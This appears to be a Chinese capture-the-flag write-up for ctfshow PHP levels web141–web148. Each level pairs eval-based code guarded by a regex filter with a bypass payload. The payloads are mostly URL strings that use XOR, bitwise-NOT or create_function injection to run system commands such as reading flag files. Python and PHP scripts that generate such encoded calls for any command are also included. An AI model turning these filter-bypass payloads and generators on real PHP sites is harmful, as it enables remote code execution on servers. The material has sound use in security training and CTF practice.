web141 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
使用正则表达式验证v3只包含非单词字符(即数学运算符如+、-、*、/等)
\W
匹配任何非单词字符(等价于[^a-zA-Z0-9_])
return
的使用实际上会 阻断攻击者直接执行任意代码 ,因为:
所有执行都会被限制在 return
表达式中
无法执行多语句攻击(如 system('ls');
这类操作)
1 return干扰,我们可以使用(/*+-)这些字符绕过
1 ?v1=1&v2=2&3=?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)-CSDN博客
web142 1 2 3 4 5 6 7 8 9 10 error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
sleep()函数将当前脚本的执行延迟指定的秒数
字符串 "0"
被 is_numeric()
函数识别为数值
web143 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
用141脚本跑出xor_rce.txt
再运行这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 # -- coding:UTF-8 -- # Author:dota_st # Date:2021/2/10 12:56 # blog: www.wlhhlc.top import requests import urllib import re # 生成可用的字符 def write_rce(): result = '' preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;' for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i ^ j if k >= 32 and k <= 126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) result += (chr(k) + ' ' + a + ' ' + b + '\n') f = open('xor_rce.txt', 'w') f.write(result) # 根据输入的命令在生成的txt中进行匹配 def action(arg): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) def main(): write_rce() while True: s1 = input("\n[+] your function:") if s1 == "exit": break s2 = input("[+] your command:") param = action(s1) + action(s2) print("\n[*] result:\n" + param) main()
1 2 3 ?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")* ?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*
web144 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }
141增强版
1 ?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
web145 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
脚本,在命令行运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php //在命令行中运行 /*author yu22x*/ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
1 ?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web146 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
1 ?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web147 1 2 3 4 5 6 7 8 9 highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
这里看提示
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
这里利用进行代码注入create_function()
1 string create_function ( string $args , string $code )
string $args 变量部分
string $code 方法代码部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。 string create_function ( string $args , string $code ) string $args 参数部分 string $code 方法代码部分 举例: create_function('$name','echo $fname."Zhang"') 类似于: function fT($name) { echo $fname."Zhang"; }
1 2 3 ?show=}system('tac f*');// ctf=%5ccreate_function %5c就是\
web148 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); } function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
1 ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");